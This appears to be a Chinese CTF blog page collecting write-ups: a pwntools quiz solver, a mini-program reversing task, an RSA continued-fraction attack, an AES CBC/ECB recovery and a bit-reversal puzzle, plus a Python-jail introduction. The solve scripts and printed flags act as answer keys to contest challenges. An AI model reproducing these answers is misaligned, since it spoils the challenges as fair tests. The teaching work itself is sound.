
image-20241209015650597

重生之我有Dengeki Novel Prize大奖

image-20241209173103187

搜到这是一篇轻小说,应该是要输入正确的对话,小说名《败犬女主太多了!》(不愧是二次元😆)

下载下来将EPUB格式转成TXT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re
from ebooklib import epub
from bs4 import BeautifulSoup
import warnings

def clean_text(text):
text = re.sub(r'[^\S\r\n]+', ' ', text)
text = re.sub(r'\n{2,}', '\n', text)
lines = [line.strip() for line in text.splitlines()]
return "\n".join(lines).strip()

def epub_to_txt(epub_path, txt_path):
book = epub.read_epub(epub_path, options={'ignore_ncx': True})
all_text = []

for item in book.get_items():
if item.media_type == 'application/xhtml+xml':
soup = BeautifulSoup(item.get_body_content(), 'html.parser')
text = soup.get_text()
cleaned_text = clean_text(text)
all_text.append(cleaned_text)

with open(txt_path, 'w', encoding='utf-8') as f:
f.write('\n\n'.join(all_text))

epub_to_txt('.\\败犬女主太多了\\7.epub', '.\\7.txt')

我们去output.txt查找问题,答案为下一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import time

with open("output.txt", "r", encoding="utf8") as f:
all_list = [line.strip() for line in f.readlines()]
all_dict = {}
for i in range(len(all_list) - 1):
all_dict[all_list[i].replace("\n", "")] = all_list[i + 1].replace("\n", "")

try:
p = remote('127.0.0.1', 37573)
correct_count = 0

for _ in range(50):
try:
response = p.recvline()
question = response.decode().split("提问: ")[-1].strip()
print(f"\n第 {correct_count + 1} 题")
print("question:", question)

debug_data = p.recv(1024)
print("Debug data received:", debug_data.decode('utf-8', errors='ignore'))

if question in all_dict:
answer = all_dict[question]
print("answer:", answer)
p.sendline(answer.encode('utf-8'))
time.sleep(1)

feedback = p.recvline().decode('utf-8', errors='ignore')
print("服务器反馈:", feedback)

correct_count += 1
else:
print("No answer found for the question.")
break

except EOFError:
print(f"\n连接在第 {correct_count + 1} 题时断开")
print("最后成功回答的题数:", correct_count)
break
except Exception as e:
print(f"\n发生其他错误: {str(e)}")
break

except Exception as e:
print(f"连接出错: {str(e)}")
finally:
print(f"\n总共成功回答了 {correct_count} 题")
p.close()

这道题有点靠运气,有时候会答案是对的但因为超时

Re

星のflag: 瓦豆鲁德篇

本身并不是RE手,但是这道题和Web那道一样的都要解包小程序,就顺手做了

这是本身源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
var _cryptoJs = _interopRequireDefault(require("crypto-js"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var arr = [[77.4545067721, 166.6297572211], [704.8827384321, 716.8839856722], [526.2712072012, 797.5254055312], [3070.2807034611, 3854.4357435722], [490.3246274911, 36224.8858838722], [41404.3166443722, 41673.1503183722], [6787.6554038721, 46854.1678526621], [69504.4221148712, 418677.4399131722], [587395.8927547721, 646218.371960242], [23378.1410475611, 862165.0667217221], [3425775.220405308, 3679455.7534740176], [21376195.152235862, 57806775.24392879], [136548100.36301744, 2126740322.7827096], [3025384212.2862115, 42887118354.86438], [2749728.820111889, 20752727.611226656], [38414630.64337055, 313629634.4837362], [33882710.842073366, 345902224.4626296], [63832518.65776362, 224151175.8626729], [713381630.9568518, 2361680166.434476], [943572305.6985991, 3249761735.8722763], [2182238279.357637, 4762311856.787363], [2449920231.2722983, 6453724258.242947], [5251427633.228511, 42202975021.22658], [3586474625.7261167, 36828433774.11296], [2438575572.788131, 36686266931.434525], [87043816613.20274, 297732697735.6053], [472044465269.30133, 528171386733.36865], [312425872025.35376, 807318802980.8772], [353533120613.98065, 825428116861.4183], [504334778467.7691, 1610323225786.69955], [573352925673.3484, 8466494214312.498], [6291764415342.347, 10584266511691.768], [38252576539970.57, 56553309176751.18], [36782537271527.62, 57371110527665.5]];
function d(a, b, context) {
var s = 0.0001;
var c = 0;
for (var i = a; i < b; i += s) {
if (!context.data.isContinue) {
return "";
}
c += (i + Math.sin(i)) * s;
}
var n = Math.floor(c).toString();
var r = n.slice(0, Math.max(3, Math.floor(n.length / 3)));
var m = _cryptoJs.default.MD5(r).toString();
return m[0];
}
Page({
data: {
waddleDeesFlag: '',
isContinue: false
},
onLoad: function onLoad() {},
onGenerateFlag: function onGenerateFlag() {
this.setData({
waddleDeesFlag: 'redrock{',
isContinue: true
});
flagGenerator.call(this, 0);
},
onStopGenerateFlag: function onStopGenerateFlag() {
this.setData({
isContinue: false
});
}
});
function flagGenerator(index) {
var _this = this;
if (!this.data.isContinue || index >= arr.length) {
this.setData({
waddleDeesFlag: "".concat(this.data.waddleDeesFlag, "}")
});
return;
}
var a = arr[index][0];
var b = arr[index][1];
var nextChar = d(a, b, this);
if (nextChar) {
this.setData({
waddleDeesFlag: this.data.waddleDeesFlag + nextChar
});
}
setTimeout(function () {
flagGenerator.call(_this, index + 1);
}, 100);
}
},{isPage:true,isComponent:true,currentFile:'pages/flag/flag.js'});require("pages/flag/flag.js");

函数d的逻辑是对f(x)=x+sinx积分,采用的是无限切割的方法,切割的细粒度是0.0001,上下限为 [a,b],但我自己弄出来的脚本总是最后几位flag不对,很可惜

正确脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import hashlib
import math
import random
import numpy as np
from scipy.integrate import quad

def integrate_x_plus_sin(lower, upper):
def integrand(x):
return x + np.sin(x)
result, _ = quad(integrand, lower, upper, limit=10000)
return result

def f_conv_md5_first_letter(float_number):
result = int(float_number)
str_number = str(result)
length = len(str_number)
third_length = max(3, length // 3)
result = int(str_number[:third_length])
# md5加密结果
md5_result = hashlib.md5(str(result).encode()).hexdigest()
return md5_result[0]

arr = [
[77.4545067721, 166.6297572211],
[704.8827384321, 716.8839856722],
[526.2712072012, 797.5254055312],
[3070.2807034611, 3854.4357435722],
[490.3246274911, 36224.8858838722],
[41404.3166443722, 41673.1503183722],
[6787.6554038721, 46854.1678526621],
[69504.4221148712, 418677.4399131722],
[587395.8927547721, 646218.371960242],
[23378.1410475611, 862165.0667217221],
[3425775.220405308, 3679455.7534740176],
[21376195.152235862, 57806775.24392879],
[136548100.36301744, 2126740322.7827096],
[3025384212.2862115, 42887118354.86438],
[2749728.820111889, 20752727.611226656],
[38414630.64337055, 313629634.4837362],
[33882710.842073366, 345902224.4626296],
[63832518.65776362, 224151175.8626729],
[713381630.9568518, 2361680166.434476],
[943572305.6985991, 3249761735.8722763],
[2182238279.357637, 4762311856.787363],
[2449920231.2722983, 6453724258.242947],
[5251427633.228511, 42202975021.22658],
[3586474625.7261167, 36828433774.11296],
[2438575572.788131, 36686266931.434525],
[87043816613.20274, 297732697735.6053],
[472044465269.30133, 528171386733.36865],
[312425872025.35376, 807318802980.8772],
[353533120613.98065, 825428116861.4183],
[504334778467.7691, 1610323225786.69955],
[573352925673.3484, 8466494214312.498],
[6291764415342.347, 10584266511691.768],
[38252576539970.57, 56553309176751.18],
[36782537271527.62, 57371110527665.5]
]

flag = "redrock{"

for i in range(len(arr)):
lower_limit = arr[i][0]
upper_limit = arr[i][1]
result = integrate_x_plus_sin(lower_limit, upper_limit)
flag += f_conv_md5_first_letter(result)
flag += "}"
print(flag)

我当时的flag

1
redrock{aa8726a2c7c371195027ddce011338c2e5}

正确flag

1
redrock{aa8726a2c7c371195027ddce083df71983}
Read More →
#PHP反序列化 #XSS #文件上传 #SUID提权 #SQL #AES #RSA #内存取证 #Java盲水印 #明文攻击 #LSB隐写

从一题中类比Wiener攻击

· Crypto密码学 · 阅读 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from gmpy2 import *
import random

def pad(msg, nbits):
pad_length = nbits - len(msg) * 8 - 8
assert pad_length >= 0
pad = random.getrandbits(pad_length).to_bytes((pad_length + 7) // 8, "big")
padded_msg = pad[:len(pad)//2] + b"\x00" + msg + pad[len(pad)//2:]

return padded_msg

def All_in_my_name(p, q):
#开启三技能<俱以我之名>后,维娜立即在周围八格可部署地面召唤“黄金盟誓(Golden_Oath)”;对RSA造成真实伤害。
Golden_Oath = (p-114)*(p-514)*(p+114)*(p+514)*(q-1919)*(q-810)*(q+1919)*(q+810)
x = bytes_to_long(pad(gift, random.randint(bytes_to_long(gift).bit_length(), 512)))
y = inverse(x, Golden_Oath)
return y

flag = b'flag{?????}'
gift = b'?????'
assert gift[:3] == b'end'

p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
c = pow(bytes_to_long(flag), e,n)

print(f'n = {n}')
print(f'c = {c}')
print(f'All_in_my_name = {All_in_my_name(p, q)}')

'''
n = 141425071303405369267688583480971314815032581405819618511016190023245950842423565456025578726768996255928405749476366742320062773129810617755239412667111588691998380868379955660483185372558973059599254495581547016729479937763213364591413126146102483671385285672028642742654014426993054793378204517214486744679
c = 104575090683421063990494118954150936075812576661759942057772865980855195301985579098801745928083817885393369435101522784385677092942324668770336932487623099755265641877712097977929937088259347596039326198580193524065645826424819334664869152049049342316256537440449958526473368110002271943046726966122355888321
All_in_my_name = 217574365691698773158073738993996550494156171844278669077189161825491226238745356969468902038533922854535578070710976002278064001201980326028443347187697136216041235312192490502479015081704814370278142850634739391445817028960623318683701439854891399013393469200033510113406165952272497324443526299141544564964545937461632903355647411273477731555390580525472533399606416576667193890128726061970653201509841276177937053500663438053151477018183074107182442711656306515049473061426018576304621373895497210927151796054531814746265988174146635716820986208719319296233956243559891444122410388128465897348458862921336261068868678669349968117097659195490792407141240846445006330031546721426459458395606505793093432806236790060342049066284307119546018491926250151057087562126580602631912562103705681810139118673506298916800665912859765635644796622382867334481599049728329203920912683317422430015635091565073203588723830512169316991557606976424732212785533550238950903858852917097354055547392337744369560947616517041907362337902584102983344969307971888314998036201926257375424706901999793914432814775462333942995267009264203787170147555384279151485485660683109778282239772043598128219664150933315760352868905799949049880756509591090387073778041
'''

这是一个自定义的RSA加密,首先n不能分解,整体计算还是按RSA的流程,最后打印了All_in_my_name(p, q),这是找到p、q值的关键

1
2
3
4
5
6
def All_in_my_name(p, q):
#开启三技能<俱以我之名>后,维娜立即在周围八格可部署地面召唤“黄金盟誓(Golden_Oath)”;对RSA造成真实伤害。
Golden_Oath = (p-114)*(p-514)*(p+114)*(p+514)*(q-1919)*(q-810)*(q+1919)*(q+810)
x = bytes_to_long(pad(gift, random.randint(bytes_to_long(gift).bit_length(), 512)))
y = inverse(x, Golden_Oath)
return y

首先Golden_Oath进行了一系列计算;random.randint(bytes_to_long(gift).bit_length(), 512)生成一个随机整数,这个整数的范围是从gift转换后的长整数的位数到512;随后用pad函数对消息用这个位数来填充;最后输出逆元y

1
2
3
4
5
6
7
def pad(msg, nbits):
pad_length = nbits - len(msg) * 8 - 8
assert pad_length >= 0
pad = random.getrandbits(pad_length).to_bytes((pad_length + 7) // 8, "big")
padded_msg = pad[:len(pad)//2] + b"\x00" + msg + pad[len(pad)//2:]

return padded_msg

先计算填充长度pad_length,确保其大于等于0;pad是一个随机填充数据;将其分为前一半后一半加在msg两边

从注释中可以看到提示维纳攻击,那在我看来这里用到的是维纳攻击的思想,主要用于攻击那些使用较小私钥d的 RSA实现,而本代码中x是通过gift进行消息填充获得的,其是一个比n小得多的值,我们可以用类维纳攻击的思想来解决这个问题

d满足:

ed≡1(modphi)ed \equiv 1 \pmod{phi}

x满足:

yx≡1(modGolden_Oath)yx \equiv 1 \pmod{Golden\_Oath}

在RSA中有

phi=(p−1)(q−1)=N−(p+q)+1phi=(p-1)(q-1)=N-(p+q)+1

因为p和q是大质数,可以近似为

phi≈Nphi\approx N

转换一下

ed−1=k∗phied-1=k*phi

同时除以d*phi

ephi−kd=1d∗phi\frac{e}{phi}-\frac{k}{d} =\frac{1}{d*phi}

近似

ephi−kd=1d∗N\frac{e}{phi}-\frac{k}{d} =\frac{1}{d*N}

d*N是个很大的数,所以我们可以将等式右边看成0

ephi≈kd\frac{e}{phi}\approx\frac{k}{d}

yGolden_Oath≈kx\frac{y}{Golden\_Oath}\approx\frac{k}{x}

而接下来就用连分数去逼近具体的值

因为

Golden_Oath=(p−114)∗(p−514)∗(p+114)∗(p+514)∗(q−1919)∗(q−810)∗(q+1919)∗(q+810)Golden\_Oath = (p-114)*(p-514)*(p+114)*(p+514)*(q-1919)*(q-810)*(q+1919)*(q+810)

所以

Golden_Oath≈N4Golden\_Oath\approx N^{4}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from Crypto.Util.number import long_to_bytes

def continuedFra(x, y):
#计算连分数
#:param x: 分子
#:param y: 分母
#:return: 连分数列表

cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
#计算传入列表最后的渐进分数
#:param cf: 连分数列表
#:return: 该列表最后的渐近分数

numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator

def getGradualFra(cf):
#计算列表所有的渐近分数
#:param cf: 连分数列表
#:return: 该列表所有的渐近分数

gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf


def wienerAttack(e, n):

#:param e:
#:param n:
#:return: 私钥d

cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0:
continue
if b'end' in long_to_bytes(d):
print(d)
print(k)
break
return (y*d-1)//k

n = 141425071303405369267688583480971314815032581405819618511016190023245950842423565456025578726768996255928405749476366742320062773129810617755239412667111588691998380868379955660483185372558973059599254495581547016729479937763213364591413126146102483671385285672028642742654014426993054793378204517214486744679
y = 217574365691698773158073738993996550494156171844278669077189161825491226238745356969468902038533922854535578070710976002278064001201980326028443347187697136216041235312192490502479015081704814370278142850634739391445817028960623318683701439854891399013393469200033510113406165952272497324443526299141544564964545937461632903355647411273477731555390580525472533399606416576667193890128726061970653201509841276177937053500663438053151477018183074107182442711656306515049473061426018576304621373895497210927151796054531814746265988174146635716820986208719319296233956243559891444122410388128465897348458862921336261068868678669349968117097659195490792407141240846445006330031546721426459458395606505793093432806236790060342049066284307119546018491926250151057087562126580602631912562103705681810139118673506298916800665912859765635644796622382867334481599049728329203920912683317422430015635091565073203588723830512169316991557606976424732212785533550238950903858852917097354055547392337744369560947616517041907362337902584102983344969307971888314998036201926257375424706901999793914432814775462333942995267009264203787170147555384279151485485660683109778282239772043598128219664150933315760352868905799949049880756509591090387073778041

Golden_Oath = wienerAttack(y, n**4)
print(Golden_Oath)

最后解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sympy as sp
import libnum

p, q = sp.symbols('p q')
Golden_Oath = (p - 114) * (p - 514) * (p + 114) * (p + 514) * (q - 1919) * (q - 810) * (q + 1919) * (q + 810)
N = p * q
n = 141425071303405369267688583480971314815032581405819618511016190023245950842423565456025578726768996255928405749476366742320062773129810617755239412667111588691998380868379955660483185372558973059599254495581547016729479937763213364591413126146102483671385285672028642742654014426993054793378204517214486744679

def calculate_p_q():
golden_oath = 400042032831098007958224589201074030167511216235146696966889080122265111949126155016295896501799032251334875101500882585261911204171467951139573150807043239564581043145433814155757093989016940205116328236031283789686099217459678429270939065783626769903068201144816933538226628329294355184200590029028565011348654002192085571172863125467318356642528249715812871925525776008917314884490518613080652875623759460663908309369135829140204137773254011408135516737187092812588388209697036416805176286184831779945910125467423823737934475944632379524991238593952097013985394648562259886597816452815669024660257170465154297959999722533255899489096196292778430386116108069053440749172609798098777046509743030019115282253351905670418760503352277616008654327326851761671410084489662135479597061419403235762755010286075975241013273964842915146756571330207605591193457296347769260777032489271278979332616929093357929916558230665466587125254822846466292980360420737307459205352964255972268278992730637939153686420457279334894980200862788513296786385507282999530973028293157179873999483225505784146175328159014143540959190522315340971608002638786511995717564457749873410017343184395040614025573440462522210939180555090227730875845671821586191943346000
equation = [sp.Eq(Golden_Oath, golden_oath), sp.Eq(N, n)]
solutions = sp.solve(equation, (p, q))

return (solutions[1])

solution = calculate_p_q()
p = solution[0]
q = solution[1]
e = 65537
c = 104575090683421063990494118954150936075812576661759942057772865980855195301985579098801745928083817885393369435101522784385677092942324668770336932487623099755265641877712097977929937088259347596039326198580193524065645826424819334664869152049049342316256537440449958526473368110002271943046726966122355888321

d = libnum.invmod(e, (p-1)*(q-1))
m = pow(c, int(d), n)

print(libnum.n2s(int(m)).decode())
Read More →
#RSA

从一题中学习AES-CBC,ECB模式的加密原理

· Crypto密码学 · 阅读 -

这道题来自NewStar CTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Cipher import AES
from Crypto.Util.number import *
import os

KEY = b"fake_key_fake_ke"
FLAG = "flag{fake_flag_fake_flag}"

def decrypt(c):
AES_ECB = AES.new(KEY, AES.MODE_ECB)
decrypted = AES_ECB.decrypt(long_to_bytes(c))

return decrypted.hex()

def encrypt():
iv = os.urandom(16)
AES_CBC = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = AES_CBC.encrypt(FLAG.encode())
print('iv:',iv.hex())

return iv.hex() + encrypted.hex()

c=encrypt()
print('encrypt:',c)
print('decrypt:',decrypt(int(c,16)))

#encrypt: f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138
#什么是AES啊😭,求求你帮我解密吧,我什么都会做的!!!!!😭

'''
什么都会做?那就去学习一下AES吧……
我这次就先给你解一下好了,不用谢喵
decrypt: f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b
这对吗?哦不对不对,哦对的对的。
'''

可以看到加密使用CBC模式,解密是用ECB模式,这样肯定是会出错的,我们先要想想这么操作会发生什么?

CBC依赖于初始向量IV和key,每个后续块依赖于前一个加密块(通过 XOR 操作,先异或再单独加密)

ECB只有单一的key,解密特点是一对一,也就是说解密是块独立的

我们需要先将这两个字符串转换成字节形式并分块(这里是16字节一块),方便AES后续计算

由于CBC解密时,是当前块先解密再和前一个加密块异或,那么现在当前独立的解密块知道了,前一个加密块也知道了,不久可以进行还原了吗
这里还有一个细节,因为出题人是将iv加在前面的,而又因为16个字节一组,所以这并不影响我们获取flag,不用管加密的第一组块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from binascii import unhexlify

cbc_en = 'f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138'
ecb_de = 'f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b'

cbc_bytes = unhexlify(cbc_en)
ecb_bytes = unhexlify(ecb_de)

cbc_blocks = [cbc_bytes[i:i + 16] for i in range(0, len(cbc_bytes), 16)]
ecb_blocks = [ecb_bytes[i:i + 16] for i in range(0, len(ecb_bytes), 16)]

decrypted_blocks = []

for i in range(1, len(cbc_blocks)):
current_cbc_block = cbc_blocks[i]
previous_cbc_block = cbc_blocks[i - 1]
decrypted_block = ecb_blocks[i]

recovered_block = bytes(a ^ b for a, b in zip(decrypted_block, previous_cbc_block))
decrypted_blocks.append(recovered_block)

final_decrypted_bytes = b''.join(decrypted_blocks)
print(final_decrypted_bytes)
Read More →
#AES

从一题中学习通过继承关系创造对象进行Python-Jail

· Web安全 · 阅读 -

Python的内建函数&内建模块

内建函数是Python自带的函数,可以直接使用,无需导入任何模块;在python交互模式下,使用命令dir('builtins')即可查看当前python版本的一些内建变量、内建函数

image-20241027135403294

内建模块是Python自带的库,它们提供了更复杂或更专门的功能,但在使用之前需要通过 import 语句引入

例如我们常用的

1
2
os:与操作系统交互,进行文件和目录操作
sys:提供与Python解释器交互的功能,如命令行参数、退出程序
Read More →
#Python沙箱逃逸

2024 XYCTF Crypto Sign1n_Revenge复现

· Crypto密码学 · 阅读 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
from tqdm import *
import gmpy2
flag=b'XYCTF{uuid}'
flag=bytes_to_long(flag)
leak=bin(int(flag))
while 1:
leak += "0"
if len(leak) == 514:
break

def swap_bits(input_str):
input_list = list(input_str[2:])
length = len(input_list)

for i in range(length // 2):
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp

return ''.join(input_list)

input_str = leak
result = swap_bits(input_str)
a=result

def custom_add(input_str):
input_list = list(input_str)
length = len(input_list)

for i in range(length):
input_list[i] = str((int(input_list[i]) + i + 1) % 10)

result = ''.join(input_list)
return result


input_str = a
result = custom_add(input_str)
b=result
print(b)
#12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456799123455688912234567900124456899012456678011245577991223457780113355788911245667890234457889023346779001335668890223566780113445779912235567801133566889012356679901245567991223457790013356688902235667800124556780122346679001335668891123566790013445678012235567900123557889022356678011245577991223566890113455689911234677891224556899023

简单分析一下,将flag字符串转换为长整数再转换为二进制;

然后在二进制数后面不断+0直至有514位;

对于swap_bits函数:

1
2
3
4
5
6
7
8
9
10
def swap_bits(input_str):
input_list = list(input_str[2:])
length = len(input_list)

for i in range(length // 2):
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp

return ''.join(input_list)

由于二进制数前两位通常是“0b”开头,所以去掉并list字符列表,然后将剩余的二进制数对称反转交换,最后再将列表还原成字符串的形式返回;
对于custom_add函数:

1
2
3
4
5
6
7
8
9
def custom_add(input_str):
input_list = list(input_str)
length = len(input_list)

for i in range(length):
input_list[i] = str((int(input_list[i]) + i + 1) % 10)

result = ''.join(input_list)
return result

则是一个自定义取模运算,最后返回了结果;

看起来我们需要做的就是逆向回去得到flag

对于

1
input_list[i] = str((int(input_list[i]) + i + 1) % 10)

实际上是一个模运算,首先要了解到两个模运算的性质:

(a+b) mod n=(a mod n+b mod n) mod n(a+b) \bmod n = (a \bmod n + b \bmod n )\bmod n

(a−b) mod n=((a mod n)−(b mod n)+n) mod n(a-b) \bmod n = ((a \bmod n) - (b \bmod n) + n)\bmod n

加上 n 是为了确保结果为非负数

加法和减法的逆操作对于模数来说是对称的。换句话说,如果你加上一个数然后取模,你可以通过减去这个数再取模来逆向操作

例如:

y=(x+(i+1)) mod 10y = (x + (i + 1)) \bmod 10

同时减去(i + 1)

y−(i+1)=(x+(i+1)) mod 10−(i+1)y - (i + 1) = (x + (i + 1)) \bmod 10 - (i + 1)

同时取模10

(y−(i+1)) mod 10=(x+(i+1)−(i+1)) mod 10(y - (i + 1)) \bmod 10 = (x + (i + 1) - (i + 1)) \bmod 10

这里也运用了模运算的性质:

(a mod n−b) mod n=(a−b) mod n(a \bmod n - b) \bmod n = (a - b) \bmod n

假设a mod n = r,a = qn + r

(r−b) mod n=(a−b) mod n(r - b) \bmod n = (a - b) \bmod n

(a−b−qn) mod n(a - b - qn) \bmod n

由于减的是n的整数倍,所以:

(a−b−qn) mod n=(a−b) mod n(a - b - qn) \bmod n = (a - b) \bmod n

证毕

回到刚才

(y−(i+1)) mod 10=x mod 10(y - (i + 1)) \bmod 10 = x \bmod 10

由于 x 本来就是一个 0 到 9 之间的数字

x=(y−(i+1)) mod 10x = (y - (i + 1)) \bmod 10

所以得出结论,而后的对称源代码照抄就好,最后再去掉多余的0即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from Crypto.Util.number import *
b=str(12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456799123455688912234567900124456899012456678011245577991223457780113355788911245667890234457889023346779001335668890223566780113445779912235567801133566889012356679901245567991223457790013356688902235667800124556780122346679001335668891123566790013445678012235567900123557889022356678011245577991223566890113455689911234677891224556899023)

def reverse_custom_add(b):
input_list = list(b)
length = len(b)

for i in range(length):
input_list[i] = str((int(input_list[i]) - i - 1) % 10)

return ''.join(input_list)

result = reverse_custom_add(b)

def reverse_swap_bits(result):
input_list = list(result)
length = len(result)

for i in range(length // 2):
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp

return ''.join(input_list)

final_result = reverse_swap_bits(result)

print(final_result)

enbyte = 0b11001100110110001100001011001110111101100110101011001100011001000110100001100010011100000110011001100010010110100110010001110000110001000110010001011010011010000110100011000010011000000101101011000010011010100110110001100100010110100110110011000110011100000111001001101010110010000110101011001100011100001100010001100000011001001111101

print(long_to_bytes(int(enbyte)))
1
flag{5f241831-28b2-44a0-a562-6c895d5f8b02}
Read More →
#模运算